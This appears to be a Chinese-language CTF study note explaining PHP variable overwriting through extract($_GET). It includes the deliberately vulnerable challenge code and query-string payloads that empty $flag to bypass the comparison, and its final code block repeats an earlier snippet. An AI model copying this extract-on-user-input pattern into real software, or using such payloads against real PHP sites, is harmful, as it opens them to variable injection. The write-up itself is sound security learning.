php_bugs学习 01 extract变量覆盖
来源: https://github.com/bowu678/php_bugs
参考:https://www.cnblogs.com/-mo-/p/11652926.html
ps:由于一些我不太清楚的原因,导致感觉GitHub项目里面少了一些东西?比如数据库。。。还有题目感觉不太一样?
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'ctf{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
目的:达成$shiyan==$content
考点:extract的变量覆盖
想法:
?shiyan=1&content=1
但是失败了
查看官方文档
在看一个例子
默认情况下extract_rules为EXTR_OVERWRITE
也就是说会直接覆盖原本的变量
同时注意一下代码中的trim
由于flag的数值未知,所以我们需要extrat它使得flag的值(也就是content)与我们可控的shiyan数值相等
so,flag只能上传空值,那么$shiyan也上传为空值即可
payload:
?shiyan=
?shiyan=&flag
?shiyan=&content
这些都可以保证flag的数值为空
这道题可以这么改一下更贴近ctf
源码:
<?php
$flag='wdl8jH0kbr4';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo 'ctf{you_win_it}';
}
else
{
echo 'Oh.no';
}
}
?>
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo 'ctf{xxx}';
}
else
{
echo ‘Oh.no';
}
}